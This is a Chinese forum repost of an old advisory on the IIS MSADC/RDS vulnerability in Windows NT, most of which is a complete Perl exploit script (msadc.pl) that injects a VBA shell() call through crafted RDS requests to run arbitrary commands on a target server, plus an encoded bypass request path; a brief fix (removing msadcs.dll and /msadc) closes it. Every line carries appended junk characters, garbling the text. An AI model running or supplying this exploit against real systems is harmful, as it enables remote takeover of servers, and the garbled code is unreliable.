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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)

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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷) z *~rd2  
kB]?95>Wx  
涉及程序: Z,:}H6Mj9  
Microsoft NT server aFd87'^  
CQh6;[\:  
描述: @M=\u-jJ.  
1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限 gI{56Z  
Ox^VU2K;&.  
详细: r [4dGt  
如果你没有时间读详细内容的话,就删除: JXqwy^f  
c:\Program Files\Common Files\System\Msadc\msadcs.dll }c ,:uN  
有关的安全问题就没有了。 >d<tcaB  
dhmrh5Uf  
微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。 nV>=n,+s"  
?(E?oJ)(  
1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。 s&D>'J  
关于利用ODBC远程漏洞的描述,请参看: GK[[e~#u  
:r+F95e  
http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm 5@yBUwMSj  
sZ%wQqy~k  
2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看 Dy^A??A[E}  
http://www.microsoft.com/security/bulletins/MS99-025faq.asp @X]J MicJ  
7f\/cS^  
这里不再论述。 5Tiap8x+<  
2O " ~k  
3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似: t&nK5p95(  
Oi$$vjs2  
/%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset n$E'+kox  
的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!! :8l#jU `y  
(F'?c1  
3Nk )  
#将下面这段保存为txt文件,然后: "perl -x 文件名" M(#]NTr ~4  
]Ag{#GJ5D  
#!perl g#r,u5<*?  
# 0uhIJc'2  
# MSADC/RDS 'usage' (aka exploit) script Ep8 y  
# /9(8ML#E  
# by rain.forest.puppy $##LSTA  
# F?hGt]o  
# Many thanks to Weld, Mudge, and Dildog from l0pht for helping me "= >8UR  
# beta test and find errors! \5R>+[n!  
v0,&wdi  
use Socket; use Getopt::Std; KK41I 8Mw  
getopts("e:vd:h:XR", \%args); R*>EbOuI  
P/ 7aj:h~P  
print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n"; w02t9vz  
Ctpc]lJ}  
if (!defined $args{h} && !defined $args{R}) { d1hXzJs  
print qq~ #}aBRKZ f6  
Usage: msadc.pl -h <host> { -d <delay> -X -v } g0 Jy:`M  
-h <host> = host you want to scan (ip or domain) _[8sL^  
-d <seconds> = delay between calls, default 1 second Rv@( [rn+  
-X = dump Index Server path table, if available &8@ a"  
-v = verbose h f9yK6  
-e = external dictionary file for step 5 mFJb9 ,  
CV7%ud]E  
Or a -R will resume a command session &~sk7iGi  
~ _W>ND  
~; exit;} @W\ H%VR  
#u$ Z/,  
$ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target=""; ~Pi CA  
if (defined $args{v}) { $verbose=1; } else {$verbose=0;} ]R6Z(^XT,E  
if (defined $args{d}) { $delay=$args{d};} else {$delay=1;} "MU)8$d  
if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/); ^=Egf?|[  
$target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");} AW/)R"+  
if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; } <G#z;]N  
`]m/za%7  
if (!defined $args{R}){ $ret = &has_msadc; HQtUNtZ  
die("Looks like msadcs.dll doesn't exist\n")if $ret==0} 8b:\@]g$  
O:Ob{k  
print "Please type the NT commandline you want to run (cmd /c assumed):\n" KSy.  
. "cmd /c "; E K#ib  
$in=<STDIN>; chomp $in; ?Qdp#K]WX  
$command="cmd /c " . $in ; +d/^0^(D\5  
[Se0+\,&  
if (defined $args{R}) {&load; exit;} "i/3m'<2  
J&jig?t  
print "\nStep 1: Trying raw driver to btcustmr.mdb\n"; iMXK_O%  
&try_btcustmr; \|q.M0  
/S\y-M9  
print "\nStep 2: Trying to make our own DSN..."; qr[+^*Ha  
&make_dsn ? print "<<success>>\n" : print "<<fail>>\n"; 6v9A7g;4.  
+Y|HO[  
print "\nStep 3: Trying known DSNs..."; :z}  
&known_dsn; ZeP3 Yjr3  
?jRyw(Q  
print "\nStep 4: Trying known .mdbs..."; 'ktWKW$ D  
&known_mdb; {_5PN^J  
7{:g|dX  
if (defined $args{e}){ B^sHFc""V  
print "\nStep 5: Trying dictionary of DSN names..."; d*TpHLm  
&dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; } Afq?Ps+  
Hxzdxwz%$  
print "Sorry Charley...maybe next time?\n"; 'hw_ew   
exit; C>*]a(5k  
j2"Y{6c  
############################################################################## Z,bvD'u  
*^5..0du  
sub sendraw { # ripped and modded from whisker p$A`qx<M_  
sleep($delay); # it's a DoS on the server! At least on mine... + s snCr  
my ($pstr)=@_; J((.zLvz  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || MOEB{~v`;  
die("Socket problems\n"); UCP4w@C  
if(connect(S,pack "SnA4x8",2,80,$target)){ pr(16P  
select(S); $|=1; 7,N>u8cTh  
print $pstr; my @in=<S>; L?5OWVX!v  
select(STDOUT); close(S); ET7(n0*P}]  
return @in; MJ:>ZRXC E  
} else { die("Can't connect...\n"); }} dQ4K^u  
] x_WO_  
############################################################################## C^x+'. ^N  
{%;KkC8=R  
sub make_header { # make the HTTP request @|^2 +K/  
my $msadc=<<EOT Oy!j`  
POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1 #j{!&4M  
User-Agent: ACTIVEDATA ZP& "[_  
Host: $ip $N#f)8v  
Content-Length: $clen K$..#]\TM  
Connection: Keep-Alive "A_W U|  
6QOdd 6_d  
ADCClientVersion:01.06 hL,+wJ+A  
Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3 * QF3l0&  
( |1 $zF+  
--!ADM!ROX!YOUR!WORLD! ?wR;"  
Content-Type: application/x-varg Zbp ByRyN  
Content-Length: $reqlen EMe6Z!k  
2>l:: 8Pp  
EOT 1;l&ck-Gg/  
; $msadc=~s/\n/\r\n/g; nuB@Fkr  
return $msadc;} d/GP.d  
}V3p <  
############################################################################## @awaN  
,0#5kc*X  
sub make_req { # make the RDS request 6?0 ^U 9  
my ($switch, $p1, $p2)=@_; FV/X&u8~  
my $req=""; my $t1, $t2, $query, $dsn; Y'n TyH  
Es kh=xA {  
if ($switch==1){ # this is the btcustmr.mdb query D4m2*%M  
$query="Select * from Customers where City=" . make_shell(); W&]grG2/  
$dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" . Hm+-gI3*  
$p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";} hgE!) UE  
2k[i7Rl \c  
elsif ($switch==2){ # this is general make table query aho;HM$hjP  
$query="create table AZZ (B int, C varchar(10))"; buRXzSR  
$dsn="$p1";} j$#pG  
<GShm~XD2  
elsif ($switch==3){ # this is general exploit table query 8=7u,t  
$query="select * from AZZ where C=" . make_shell(); ML0o :8Bd\  
$dsn="$p1";} ]do0{I%\eq  
ke~O+]  
elsif ($switch==4){ # attempt to hork file info from index server M"K$81  
$query="select path from scope()"; 0gVylQ  
$dsn="Provider=MSIDXS;";} x!q$`zF\\  
+V&b<y;?>  
elsif ($switch==5){ # bad query qyc:;3?wm  
$query="select"; :>'^l?b'WX  
$dsn="$p1";} Q/iaxY#  
TeQWrm s  
$t1= make_unicode($query); IR>^U  
$t2= make_unicode($dsn); 9p(s FQ [  
$req = "\x02\x00\x03\x00"; Rcf_31 L  
$req.= "\x08\x00" . pack ("S1", length($t1)); m4ovppC  
$req.= "\x00\x00" . $t1 ; $qy%Q]  
$req.= "\x08\x00" . pack ("S1", length($t2)); Qg?^%O'  
$req.= "\x00\x00" . $t2 ; d>  Y9g  
$req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n"; <!&nyuSz  
return $req;} G3 #c  
4NwGP^ n  
############################################################################## DI9x] CR  
~LHG  
sub make_shell { # this makes the shell() statement V_!hrKkL  
return "'|shell(\"$command\")|'";} D(}v`q{Y  
,a< !d  
############################################################################## W*-+j*e|_P  
w*Sl  
sub make_unicode { # quick little function to convert to unicode "VkraB.i  
my ($in)=@_; my $out; 6ndt1W z  
for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; } T\b e(@r  
return $out;} vhZpYW8  
kwZ 8q-0  
############################################################################## vgHMVzxj  
>va#PFHA  
sub rdo_success { # checks for RDO return success (this is kludge) SwG:?T!"}  
my (@in) = @_; my $base=content_start(@in); {Rjj  
if($in[$base]=~/multipart\/mixed/){ #+QwRmJdT!  
return 1 if( $in[$base+10]=~/^\x09\x00/ );} # o)a`,f  
return 0;} a7nbGqsx  
\8=>l?P  
############################################################################## #G|iEC0C  
 MI!C%  
sub make_dsn { # this makes a DSN for us CP'?Om2  
my @drives=("c","d","e","f"); jUZ84Gm{  
print "\nMaking DSN: "; A/W0O;*q  
foreach $drive (@drives) { M2[;b+W9  
print "$drive: "; 7 \!t/<  
my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" . )O"5dF1l  
"Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq=" 4At%{E  
. $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n"); y0M^oLx  
$results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#; @ bPQhn#(g  
return 0 if $2 eq "404"; # not found/doesn't exist HzF  
if($2 eq "200") { gE0k|Z(RF  
foreach $line (@results) { 7<mY{!2iF?  
return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}} C\j|+s  
} return 0;} :7<spd(%"  
votv rZ=  
############################################################################## 7pMrYIP  
%/CCh;N#  
sub verify_exists { *ELbz}Q  
my ($page)=@_; e54wAypPOl  
my @results=sendraw("GET $page HTTP/1.0\n\n"); lDnF(  
return $results[0];} x/#* M  
B5~S&HQ?B6  
############################################################################## PP.QfY4  
/G9wW+1  
sub try_btcustmr { MVs@~=  
my @drives=("c","d","e","f"); 8Sd<!  
my @dirs=("winnt","winnt35","winnt351","win","windows"); '0[D-jEr  
;x$,x-  
foreach $dir (@dirs) { f6j;Y<}' g  
print "$dir -> "; # fun status so you can see progress |yx]TD{~P  
foreach $drive (@drives) { C,P>7  
print "$drive: "; # ditto >Olg lUzA  
$reqlen=length( make_req(1,$drive,$dir) ) - 28; xqs{d&W  
$reqlenlen=length( "$reqlen" ); HJo&snT3  
$clen= 206 + $reqlenlen + $reqlen; mFw`LvH?*  
NGOc:>}k>  
my @results=sendraw(make_header() . make_req(1,$drive,$dir)); ]wMd!.lm-  
if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;} P hs4]!  
else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}} 7+0Kg'^+n  
R?b3G4~  
############################################################################## Z,^`R] 9  
/bv1R5  
sub odbc_error { e;GLPB   
my (@in)=@_; my $base; HQw98/-_W  
my $base = content_start(@in); (/UW}$] h  
if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this _dky+ E  
$in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; ?`bi8 Ck  
$in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; XZD9vFj1Z  
$in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; +F.{:  
return $in[$base+4].$in[$base+5].$in[$base+6];} 0+L:+S  
print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n"; 1G$fU zS  
print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] . M{cF14cQ  
$in[$base+4] . $in[$base+5] . $in[$base+6]; exit;} epuN~T  
B9^ @d  
############################################################################## ebK/cPa8  
.<%2ON_  
sub verbose { Hof@,w  
my ($in)=@_; ~~>`WA\G5,  
return if !$verbose; 3 eT5~Lbs  
print STDOUT "\n$in\n";} VPW@y  
}N[|2n R'  
############################################################################## sQUJ]h  
v|fA)W w  
sub save { nX~Qt%  
my ($p1, $p2, $p3, $p4)=@_; dO]N&'P7  
open(OUT, ">rds.save") || print "Problem saving parameters...\n"; TgMa! Vz  
print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n"; eB%hP9=:x  
close OUT;} +yYxHIOZ(  
HYU-F_|N=  
############################################################################## zG-pqE6  
a,mG5bQ!  
sub load { ;e Iqxe>  
my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq="; S:2M9nC  
open(IN,"<rds.save") || die("Couldn't open rds.save\n"); )aSj!X'`;  
@p=<IN>; close(IN); ]nPfIBoS  
$ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/); WV5z~[  
$target= inet_aton($ip) || die("inet_aton problems"); [bM$n m  
print "Resuming to $ip ..."; vd<r}3i*  
$p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g; dpAj9CX(  
if($p[1]==1) { OM,Dy&Y  
$reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28; *rKj%Me  
$reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen; QAGR\~  
my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]")); >A&D/k MO  
if (rdo_success(@results)){print "Success!\n";} a(.q=W  
else { print "failed\n"; verbose(odbc_error(@results));}} qZQB"Q.*  
elsif ($p[1]==3){ efzS]1Jpz  
if(run_query("$p[3]")){ 9;2{=,  
print "Success!\n";} else { print "failed\n"; }} +vf~s^  
elsif ($p[1]==4){ @S?`!=M  
if(run_query($drvst . "$p[3]")){ v7-z<'?s~  
print "Success!\n"; } else { print "failed\n"; }} {7d(B1[1  
exit;} PmjN!/  
Dh+<|6mx  
############################################################################## ?,XrZRF  
s!73To}>  
sub create_table { 8O^<#lh  
my ($in)=@_; (JMk0H3u  
$reqlen=length( make_req(2,$in,"") ) - 28; !LI 8Xk  
$reqlenlen=length( "$reqlen" ); |)KOy~"  
$clen= 206 + $reqlenlen + $reqlen; C"SG':  
my @results=sendraw(make_header() . make_req(2,$in,"")); itYTV?bd  
return 1 if rdo_success(@results); m!Y4+KTwD`  
my $temp= odbc_error(@results); verbose($temp); k'6x_ G  
return 1 if $temp=~/Table 'AZZ' already exists/; shk yN  
return 0;} !)r1zSY"g  
!l9i)6W  
############################################################################## .@KI,_X6,  
JnE\z*NB  
sub known_dsn { 3g79/ w  
# we want 'wicca' first, because if step 2 made the DSN, it's ready to go Wf!u?nH.5  
my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications", J;DTh ]z?:  
"cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM", }1kZF{KD<[  
"banner", "banners", "ads", "ADCDemo", "ADCTest"); TI5<' U)  
D[p_uDIz  
foreach $dSn (@dsns) { 2 xE+"?0  
print "."; sgLw,WZ:  
next if (!is_access("DSN=$dSn")); 4s@oj  
if(create_table("DSN=$dSn")){ S^Mx=KJG  
print "$dSn successful\n"; f]4j7K!e]  
if(run_query("DSN=$dSn")){ V=d~}PJ>  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { <D`VFSEJ  
print "Something's borked. Use verbose next time\n";}}} print "\n";} |=u }1G?  
=#T3p9  
############################################################################## G  L-Pir  
e_+SBN1`P&  
sub is_access { SG@E*yT1  
my ($in)=@_; X?aj0# Q  
$reqlen=length( make_req(5,$in,"") ) - 28; rI#,FZ  
$reqlenlen=length( "$reqlen" ); e ~ %=H 0n  
$clen= 206 + $reqlenlen + $reqlen; 4?33t] "  
my @results=sendraw(make_header() . make_req(5,$in,"")); ~.$ca.Gf  
my $temp= odbc_error(@results); z P8rW5/  
verbose($temp); return 1 if ($temp=~/Microsoft Access/); 'FM_5`&  
return 0;} PiJ >gDx  
>@0U B@  
############################################################################## HhB&vi  
~m3Tq.sYrY  
sub run_query { , lFhLj7  
my ($in)=@_; MZvxcr{x  
$reqlen=length( make_req(3,$in,"") ) - 28; |"+UCAU  
$reqlenlen=length( "$reqlen" ); 5H2Ugk3  
$clen= 206 + $reqlenlen + $reqlen; o(stXa  
my @results=sendraw(make_header() . make_req(3,$in,"")); S0WKEv@Hn  
return 1 if rdo_success(@results); n{"e8vQx  
my $temp= odbc_error(@results); verbose($temp); tHmV4H$  
return 0;} dO!B=/  
cD'|zH]  
############################################################################## LMaY}m>  
yq6:7<  
sub known_mdb { (5GjtFojY|  
my @drives=("c","d","e","f","g"); 6& KcO:}-  
my @dirs=("winnt","winnt35","winnt351","win","windows"); *6wt+twH  
my $dir, $drive, $mdb; M.K%;j`  
my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq="; lnnT_[ni.  
M)G|K a  
# this is sparse, because I don't know of many 9+!"[  
my @sysmdbs=( "\\catroot\\icatalog.mdb", .zo>,*:t  
"\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb", Q tl!f  
"\\system32\\certmdb.mdb", Xz!O}M{4  
"\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot% C zxF  
%b>Ee>rdD  
my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb", 6Ao{Aej|  
"\\cfusion\\cfapps\\forums\\forums_.mdb", -"5r-qq*  
"\\cfusion\\cfapps\\forums\\data\\forums.mdb", b,lIndj#  
"\\cfusion\\cfapps\\security\\realm_.mdb", -DWnDku8=  
"\\cfusion\\cfapps\\security\\data\\realm.mdb", 2`pg0ciX (  
"\\cfusion\\database\\cfexamples.mdb", &5n0J  
"\\cfusion\\database\\cfsnippets.mdb", 6]fz;\DgP  
"\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb", Qq<+QL|  
"\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb", h 6juX'V  
"\\cfusion\\brighttiger\\database\\cleam.mdb", (3N;-   
"\\cfusion\\database\\smpolicy.mdb", l~ZIv   
"\\cfusion\\database\cypress.mdb", yZY.B {  
"\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb", "f4atuuXa  
"\\website\\cgi-win\\dbsample.mdb", |g!3f  
"\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb", wY*tq{7  
"\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb" *eAzk2  
); #these are just  lx&;?QQ  
foreach $drive (@drives) { kmM- >v  
foreach $dir (@dirs){ }5=tUfh)]'  
foreach $mdb (@sysmdbs) { 9Bi{X_.9  
print "."; p* tAwl  
if(create_table($drv . $drive . ":\\" . $dir . $mdb)){ ^ ^k]2oG  
print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n"; L~HL*~#d  
if(run_query($drv . $drive . ":\\" . $dir . $mdb)){ nZ/pi$7  
print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit; 2!";?E  
} else { print "Something's borked. Use verbose next time\n"; }}}}} ;fZ9:WB  
Iz9b5  
foreach $drive (@drives) { Qw.j  
foreach $mdb (@mdbs) { i7foZ\btFc  
print "."; 8}{W.np_  
if(create_table($drv . $drive . $dir . $mdb)){ %Mr^~7nN  
print "\n" . $drive . $dir . $mdb . " successful\n"; c. 06Sw*  
if(run_query($drv . $drive . $dir . $mdb)){ 15CKcM6  
print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit; o$k9$H>Na  
} else { print "Something's borked. Use verbose next time\n"; }}}} 9K4Jg]?  
} ok(dCAKP  
4{rj 4P?  
############################################################################## +K7oyZg  
TcOmBKps'  
sub hork_idx { CC,CKb  
print "\nAttempting to dump Index Server tables...\n"; R>R8LIZZc  
print " NOTE: Sometimes this takes a while, other times it stalls\n\n"; F-PQ`@ZNW  
$reqlen=length( make_req(4,"","") ) - 28; ]B3f$;W  
$reqlenlen=length( "$reqlen" ); y8$I=  
$clen= 206 + $reqlenlen + $reqlen; G1G*TSf  
my @results=sendraw2(make_header() . make_req(4,"","")); J1"16Uu  
if (rdo_success(@results)){  $M|  
my $max=@results; my $c; my %d; Zk> #T:{h  
for($c=19; $c<$max; $c++){ CZw]@2/JuQ  
$results[$c]=~s/\x00//g; nj6|WJ  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g; -d_7 q  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g; H& !?c5  
$results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/; $$e"[g  
$d{"$1$2"}="";} m*~Iu<5L  
foreach $c (keys %d){ print "$c\n"; } P~M<OUg  
} else {print "Index server doesn't seem to be installed.\n"; }} ]?lUe5F  
LGq T$ O|  
############################################################################## q6EZ?bo{  
A^vvw~!d  
sub dsn_dict { GGez!?E%  
open(IN, "<$args{e}") || die("Can't open external dictionary\n"); pYz\GSd  
while(<IN>){ E-Y4TBZ*  
$hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print "."; S,vh  
next if (!is_access("DSN=$dSn"));  P@FE3g  
if(create_table("DSN=$dSn")){ 5F$~ZDu  
print "$dSn successful\n"; x*! %o(G  
if(run_query("DSN=$dSn")){ /q5!p0fH*  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { ;}}k*< Z  
print "Something's borked. Use verbose next time\n";}}} GS+Z(,J>=  
print "\n"; close(IN);} 74fE%;F  
QE+HL8c^s  
############################################################################## C9^C4   
_*fOn@Vwo  
sub sendraw2 { # ripped and modded from whisker >>%E?'9A  
sleep($delay); # it's a DoS on the server! At least on mine... 3gs!ojG  
my ($pstr)=@_; #83pitcc  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || y&6 pc   
die("Socket problems\n"); (D2N_l(`<  
if(connect(S,pack "SnA4x8",2,80,$target)){ *9tRh Rc  
print "Connected. Getting data"; _&e$?hY  
open(OUT,">raw.out"); my @in; 7'.]fs:  
select(S); $|=1; print $pstr; 0+Z?9$a1  
while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";} *AJYSa,z  
close(OUT); select(STDOUT); close(S); return @in; Kp>fOe'KW  
} else { die("Can't connect...\n"); }} p(. z#o#  
FK~*X3'  
############################################################################## _~bG[lX!  
mr>dZ)  
sub content_start { # this will take in the server headers ffR<G&"n~b  
my (@in)=@_; my $c; z!aU85y  
for ($c=1;$c<500;$c++) { nrKir  
if($in[$c] =~/^\x0d\x0a/){ }///k]_Sh  
if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; } ){4!  
else { return $c+1; }}} zKfY0A R  
return -1;} # it should never get here actually RC!9@H5S#  
cs?IzIQ  
############################################################################## ET;-'vd  
''H;/&nDX  
sub funky { t5k=ngA  
my (@in)=@_; my $error=odbc_error(@in); eI1C0Uz1  
if($error=~/ADO could not find the specified provider/){ <Yn-sH  
print "\nServer returned an ADO miscofiguration message\nAborting.\n"; GDYFhH7H  
exit;} 5xhYOwQBo  
if($error=~/A Handler is required/){ R5=M{  
print "\nServer has custom handler filters (they most likely are patched)\n"; 6"yIk4u:  
exit;} Y2$xlqQd"  
if($error=~/specified Handler has denied Access/){ $S/EINc  
print "\nServer has custom handler filters (they most likely are patched)\n"; ZuT5}XxF  
exit;}} 7)*q@  
ht2J, 1t  
############################################################################## 8*^*iEsR  
LoW}!,|  
sub has_msadc { oZ>2Tt%  
my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n"); Rw^X5ByJE  
my $base=content_start(@results); (} wMU]!_  
return 1 if($results[$base]=~/Content-Type: application\/x-varg/); BG/RNem  
return 0;} 6iS7Hao"  
u1`JvfLrL  
######################## ^00C"58A  
!+ (H(,gI  
=-]NAj\  
解决方案: aSIoq}c(  
1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll S|]\q-qA&  
2、移除web 目录: /msadc
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只看该作者 1 发表于: 2006-06-30
很老的一篇文章 A'n{K#  
\7G.anY  
拿出来充数 哈哈
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